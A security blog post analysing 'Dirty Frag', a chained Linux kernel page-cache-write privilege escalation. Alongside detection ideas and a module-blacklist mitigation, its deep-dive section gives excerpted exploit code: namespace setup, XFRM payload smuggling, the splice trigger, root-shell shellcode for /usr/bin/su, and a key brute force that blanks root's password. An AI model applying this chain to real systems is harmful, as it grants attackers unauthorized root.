Dirty Frag: A Zero-Day With No Patch Just Handed Every Linux Server a Root Shell

The CyberSec Guru

Updated on:

Dirty Frag

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Linux administrators had barely caught their breath from Copy Fail (CVE-2026-31431) which was patched just days ago when researcher Hyunwoo Kim (@v4bel) dropped another one. The disclosure went public on May 8, 2026, after a third party broke the coordinated embargo, forcing Kim to release the full exploit before any distribution had issued a patch. There are currently no CVE identifiers and no fixes for any affected distribution.

The vulnerability is called Dirty Frag. It chains two separate kernel vulnerabilities to obtain root privileges on major Linux distributions, the xfrm-ESP Page-Cache Write vulnerability and the RxRPC Page-Cache Write vulnerability. And unlike most kernel exploits that depend on race conditions or careful heap massaging, this one is a deterministic logic bug. It doesn’t need timing luck. No race condition is required, the kernel does not panic when the exploit fails, and the success rate is very high. In practice, that means it works on the first try, reliably, on production systems.

Dirty Frag Vulnerability
Dirty Frag Vulnerability

What Actually Went Wrong in the Kernel

To understand Dirty Frag, you need to understand the Linux page cache. The kernel keeps frequently accessed file data in RAM, not just for reading, but mapped as executable pages for things like system binaries. The page cache is supposed to be protected from unprivileged writes. That protection is the premise that breaks here.

The bug lives in the in-place decryption fast paths of esp4, esp6, and rxrpc. When a socket buffer carries paged fragments that are not privately owned by the kernel, for example, pipe pages attached via splice(2), sendfile(2), or MSG_SPLICE_PAGES the receive path decrypts directly over those externally-backed pages, exposing or corrupting plaintext that an unprivileged process still holds a reference to. AlmaLinux

In plainer terms: the kernel’s IPsec (ESP) and RxRPC decryption code paths handle “paged” socket buffer fragments during network operations. Under normal assumptions, those fragments are kernel-owned. But if an attacker engineers a situation where splice-pinned pipe pages back those fragments instead, the decryption operation writes directly into memory the unprivileged process controls – pages that are also cached representations of files that are supposed to be read-only.

The underlying principle involves manipulation of pipe page cache flags, such as PIPE_BUF_FLAG_CAN_MERGE, and the use of the splice() system call. This combination allows an unprivileged user to overwrite read-only file data residing in the page cache. Once you can write into /etc/passwd or a SUID binary like /usr/bin/su from an unprivileged shell, game over.

The name itself is literal. This vulnerability is a descendant of Dirty Pipe, and it is a bug class that “dirties” the frag member of struct sk_buff. So the name is the most appropriate.

The Two Exploit Paths and Why Chaining Them Matters

Neither vulnerability alone gets you root on every major distro. Each has a specific constraint. The researcher’s answer to this was to chain them.

Path 1 – xfrm-ESP Page-Cache Write: This provides a powerful arbitrary 4-byte STORE primitive and is present on most distributions. However, it requires the privilege to create a namespace. Ubuntu sometimes blocks unprivileged user namespace creation through AppArmor policy, so in such environments, xfrm-ESP Page-Cache Write cannot be triggered.

Path 2 – RxRPC Page-Cache Write: Found in the RxRPC/rxkad subsystem, specifically in rxkad_verify_packet_1(), and present since June 2023. Without requiring any namespace privileges, it performs an 8-byte in-place pcbc(fcrypt) decrypt directly onto splice-pinned pages. The exploit brute-forces a suitable decryption key entirely in user space before triggering the kernel write, making the entire operation deterministic.

The ESP path requires unprivileged user namespaces, which Ubuntu sometimes blocks via AppArmor. The RxRPC path doesn’t need namespaces, but the rxrpc.ko kernel module isn’t shipped by default on most distributions except Ubuntu, where it loads automatically.

So the chain works like this: on Ubuntu, AppArmor blocks the ESP namespace path, but rxrpc is loaded by default, so the RxRPC path lands. On other distros without rxrpc, the ESP path is available because namespace restrictions are looser. Between the two, essentially the entire Linux distribution landscape is covered.

Nine Years of Exposure

The effective lifetime of the vulnerabilities is about nine years. The xfrm-ESP flaw traces back to a commit from early 2017; the RxRPC piece was introduced in mid-2023. That’s not a recently introduced bug that slipped through review – it’s code that’s been in production kernels across a decade of releases, in every major distro stack.

Confirmed vulnerable systems include Ubuntu 24.04.4 LTS, RHEL 10.1, Fedora 44, openSUSE Tumbleweed, AlmaLinux 10, Debian stable and testing branches, and CentOS Stream.

Linux Fast-Path Page-Cache Corruption
Linux Fast-Path Page-Cache Corruption

Technical Deep Dive

This is a publicly disclosed vulnerability with working exploit code already published on GitHub and oss-security. I’ll provide a technical analysis for educational and defensive purposes – understanding how an exploit works is essential for detection, patching, and hardening.

Background: The Page Cache Attack Surface

The Linux page cache is the kernel’s central in-memory store for file data. When you open /etc/passwd or /usr/bin/su, the kernel reads pages from disk into RAM and serves subsequent reads from that cache. These cached pages are shared – an mmap(MAP_SHARED) on a file gives you a direct window into the same physical pages the kernel uses. This is why corrupting a page cache entry has immediate effect: every reader of that file sees the modified data without any disk I/O.

The page cache is supposed to be write-protected for unprivileged users. Dirty Frag breaks that protection by abusing a logic flaw in two separate kernel subsystems.

The Core Primitive: splice() + In-Place Decryption

The exploit’s fundamental trick is getting the kernel to decrypt data directly onto a page-cache page it doesn’t own.

The splice(2) and vmsplice(2) system calls allow zero-copy data movement between file descriptors via pipe buffers. When you splice() from a regular file into a pipe, the kernel doesn’t copy the data – it pins the underlying page-cache page and puts a reference to it in the pipe buffer. That page buffer now has PIPE_BUF_FLAG_CAN_MERGE set, and crucially, the page is still the same physical memory as the page cache entry for that file.

The vulnerability is: the ESP and RxRPC decryption fast paths perform in-place decryption on socket buffer (sk_buff) fragment pages. When a socket buffer’s fragment pages happen to be these splice-pinned page-cache pages, the decryption writes back over the original file content directly in the page cache, bypassing write protections entirely.

Exploit Path 1: xfrm-ESP (IPsec)

Setup

The ESP path requires creating a user namespace and network namespace (via unshare(CLONE_NEWUSER | CLONE_NEWNET)), which grants CAP_NET_RAW within the new namespace. This is the step that AppArmor on Ubuntu can block.

static void setup_userns_netns(void) {
uid_t real_uid = getuid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { ... }
write_proc("/proc/self/setgroups", "deny");
// identity-map uid/gid
write_proc("/proc/self/uid_map", "0 <real_uid> 1");
write_proc("/proc/self/gid_map", "0 <real_gid> 1");
// bring lo interface up in the new netns
}

XFRM SA Installation

The attacker installs 48 XFRM Security Associations (one per 4-byte chunk of payload) via NETLINK_XFRM. Each SA is configured with:

  • Algorithm: authencesn(hmac(sha256), cbc(aes)) – authenticated encryption with Extended Sequence Numbers (ESN)
  • Transport mode over loopback
  • UDP encapsulation (ESP-in-UDP) on port 4500
  • Critical field: seq_hi in the ESN replay state – this is where the desired payload bytes are embedded
// Each SA carries 4 bytes of payload in its seq_hi field
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
add_xfrm_sa(spi, seqhi);

The Write Trigger

For each 4-byte chunk:

  1. Open the target file (/usr/bin/su) read-only and create a pipe
  2. vmsplice() a fake ESP header into the pipe write-end
  3. splice() 16 bytes from the target file at the desired offset into the pipe – this pins the page-cache page inside the pipe buffer
  4. splice() from the pipe read-end to a UDP socket sending to port 4500

When the kernel’s ESP receive path (esp_input()) processes the incoming UDP packet, it finds the fragment pages in the socket buffer. It calls the AEAD decryption function, which decrypts in-place. The seq_hi field from the XFRM SA (containing our payload bytes) gets XOR’d/written into the fragment – which is the pinned page-cache page of /usr/bin/su.

The do_one_write() function does this for each 4-byte chunk, walking through the file:

// Simplified flow:
pipe(pfd);
vmsplice(pfd[1], &iov_header, 1, 0); // push fake ESP header into pipe
splice(file_fd, &offset, pfd[1], NULL, 16, SPLICE_F_MOVE); // pin page-cache page
splice(pfd[0], NULL, sk_send, NULL, 40, SPLICE_F_MOVE); // trigger ESP processing
usleep(150000); // wait for kernel decryption to complete

The Payload

The 192-byte payload written to /usr/bin/su is a minimal x86-64 ELF binary:

; Entry at 0x400078 (file offset 0x78)
xor edi, edi ; uid = 0
xor esi, esi
xor eax, eax
mov al, 0x6a ; setgid(0)
syscall
mov al, 0x69 ; setuid(0)
syscall
mov al, 0x74 ; setgroups(0, NULL)
syscall
; ... setup envp with TERM=xterm
lea rdi, [rip+"/bin/sh"]
push 0x3b; pop rax ; execve
syscall

After overwriting, any invocation of /usr/bin/su (which is setuid-root) immediately drops into /bin/sh as root, no PAM, no password check.

Exploit Path 2: RxRPC/rxkad

This path patches /etc/passwd instead of a binary, and doesn’t need namespace privileges. It’s the Ubuntu fallback because Ubuntu ships rxrpc.ko by default.

The Decryption Oracle Problem

The RxRPC path is more sophisticated. The kernel’s rxkad_verify_packet_1() performs an 8-byte pcbc(fcrypt) decryption with IV=0 over the splice-pinned page-cache page. The attacker controls the session key K embedded in the rxkad token. But they can’t choose what gets written and the kernel decrypts whatever ciphertext C is currently in the file at the splice offset.

The problem reduces to: find a key K such that fcrypt_decrypt(K, C) = P where P satisfies some useful predicate.

User-Space Brute Force

Since pcbc(fcrypt) with a single 8-byte block and IV=0 collapses to a plain fcrypt_decrypt(C, K) = P, the attacker can search for K entirely in user space with no kernel interaction needed during the search.

The exploit reimplements fcrypt’s S-boxes and key schedule directly in C:

// fcrypt key schedule: extract 7 bits from each key byte,
// shift into a 56-bit key, rotate in 11-bit steps to produce 16 subkeys
static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) {
uint64_t k = 0;
k = (uint64_t)(key[0] >> 1);
k <<= 7; k |= (uint64_t)(key[1] >> 1);
// ... (56 bits total)
ctx->sched[0] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
// ... 16 subkeys
}

The brute force uses splitmix64 for fast random key sampling, testing ~50-100M keys/second:

for (uint64_t iter = 0; iter < max_iters; iter++) {
uint64_t r = fc_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt_user_setkey(&ctx, K);
fcrypt_user_decrypt(&ctx, P, C); // P = decrypt(K, C)
if (predicate(P)) { /* found */ }
}

Three-Stage Chaining for /etc/passwd

The goal is to transform the root entry from:

root:x:0:0:root:/root:/bin/bash

into:

root::0:0:root:/root:/bin/bash ← empty password field

The attacker applies three overlapping 8-byte writes at file offsets 4, 6, and 8. Because the writes overlap (last-write-wins), the final state is:

charssourcetarget value
4-5P_A[0-1]::
6-7P_B[0-1]0:
8-15P_C[0-7]0:GGGGGG:

Each search must account for what the previous splice already wrote to overlapping bytes, since those bytes change the ciphertext that the next splice will see:

// After splice A writes Pa[0..7] at offset 4,
// offset 6 now contains Pa[2..7] instead of original Cb[0..5]
memcpy(Cb_actual, Pa_out + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
// Now search for Kb such that fcrypt_decrypt(Kb, Cb_actual)[0:2] == "0:"

The predicate probabilities are:

  • K_A (need "::" at bytes 0-1): ~1/65536
  • K_B (need "0:" at bytes 0-1): ~1/65536
  • K_C (need "0:" at 0-1, printable at 2-6, ":" at 7): ~1/18M

Kernel Trigger Mechanism

Once a valid K is found, the session key is embedded into a crafted rxkad token passed via add_key("rxrpc", ...). The trigger sequence:

  1. Create an AF_RXRPC client socket with the crafted key
  2. Bind a plain UDP “fake server” to receive the handshake
  3. Initiate an RxRPC call – kernel sends a DATA packet to the fake server
  4. The fake server sends back a CHALLENGE packet (to trigger the RESPONSE auth flow)
  5. Construct a malicious DATA packet with a valid cksum, using vmsplice + splice to send it with the page-cache page as payload
  6. recvmsg() on the client pulls the packet through rxkad_verify_packet_1(), which decrypts in-place onto the pinned page

The cksum computation mirrors the kernel’s rxkad_secure_packet():

// Wire cksum = upper 16 bits of pcbc_encrypt(cid||seq) with csum_iv
uint32_t x = (cid & RXRPC_CHANNELMASK) << 30 | (seq & 0x3fffffff);
uint32_t in[2] = { htonl(call_id), htonl(x) };
// encrypt with pcbc(fcrypt), take high 16 bits of second word

Final Step: PTY Bridge

After either path succeeds, the chain spawns /usr/bin/su - inside a fresh PTY:

int master = posix_openpt(O_RDWR | O_NOCTTY);
// fork + setsid + open slave + dup2(slave, 0/1/2) + exec su

The parent bridges STDIN → master and master → STDOUT, auto-injecting a newline if a “Password:” prompt appears. For the passwd path, PAM’s pam_unix.so with nullok accepts an empty password when the passwd field is empty. For the binary patch path, no PAM runs at all.

Why It’s Hard to Detect

A few properties make runtime detection difficult:

  • No syscall anomalies at exploit time. The writes happen inside normal kernel code paths (esp_input, rxkad_verify_packet_1) triggered by receiving a UDP packet. No write() to /usr/bin/su or /etc/passwd appears in strace or audit logs.
  • No kernel panic on failure. Because there are no race conditions, a failed attempt leaves no crash evidence.
  • The splice pins are transient. The pipe is closed immediately after the trigger, so the unusual page reference vanishes.

Detection approaches that can work: monitoring page-cache write events with eBPF on mark_page_dirty / set_page_dirty, watching for unexpected modifications to immutable files via inotify (though this sees the result, not the cause), or XFRM SA creation events from unusual unprivileged contexts.

Why Your Copy Fail Mitigation Does Nothing Here

The xfrm-ESP Page-Cache Write shares the same sink as Copy Fail. However, it is triggered regardless of whether the algif_aead module is available. In other words, even on systems where the publicly known Copy Fail mitigation (algif_aead blacklist) is applied, your Linux is still vulnerable to Dirty Frag.

Sysadmins who blacklisted algif_aead last week and considered themselves covered are not covered. Dirty Frag hits a different point in the kernel’s logic path, upstream of the mitigation’s effect.

What Actually Happened with the Embargo

Kim submitted the rxrpc patch to the netdev mailing list on April 29, 2026. The linux-distros embargo was set for May 12. An unrelated third party published the ESP exploit publicly on May 7, breaking the embargo and triggering immediate full disclosure. It’s unknown whether this is an instance of parallel discovery or how the third party obtained the information before the embargo ended.

The practical consequence: Dirtyfrag’s exploit code hit public repositories like GitHub before official patches or a CVE identifier were assigned. Defenders are now racing against attackers who have full working exploit code while patches don’t exist yet.

Immediate Mitigation

The only available mitigation right now is to block or remove the vulnerable kernel modules. Run the following as root:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

Verify it worked:

lsmod | grep -E "esp|rxrpc"

No output means the modules are unloaded. For most desktop and general-purpose server workloads, this has no practical impact. Organizations relying on IPsec VPN tunnels using ESP mode should evaluate the tradeoff carefully. If you’re running AFS file systems, rxrpc is likely in active use — you’ll need to weigh the disruption risk. On AlmaLinux specifically, rxrpc.ko ships only as part of the kernel-modules-partner subpackage published in the AlmaLinux Devel repository and is not enabled by default — if you have it installed, the simplest mitigation is to remove it entirely.

One more thing: if you’re applying the mitigations, you may need to reboot or drop caches, and the mitigation might kill your IPsec tunnel. Test in a non-production environment first if you can afford to.

Container and Kubernetes Environments

Containers don’t get you off the hook. Since containers share the host kernel, a process inside a container that loads or accesses the esp or rxrpc code paths can potentially exploit the host kernel directly. That means a container escape yielding root on the physical or VM host is within scope of this vulnerability, depending on your container configuration and kernel module exposure.

Patch Status

The upstream fix for ESP is at https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4. The rxrpc fix is pending on the netdev mailing list. Distribution-specific backported kernel packages are not yet available as of publication. CloudLinux has stated that new kernel builds for CL7h, CL8, CL9, and CL10 are currently in their build and QA pipeline, and KernelCare livepatches are being developed to fix the issue without a reboot. AlmaLinux’s core team is working on patched builds for every supported release.

Once your distro ships a patched kernel, a standard update (apt upgrade or dnf update) followed by a reboot resolves the vulnerability and lets you safely remove the module blacklist.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading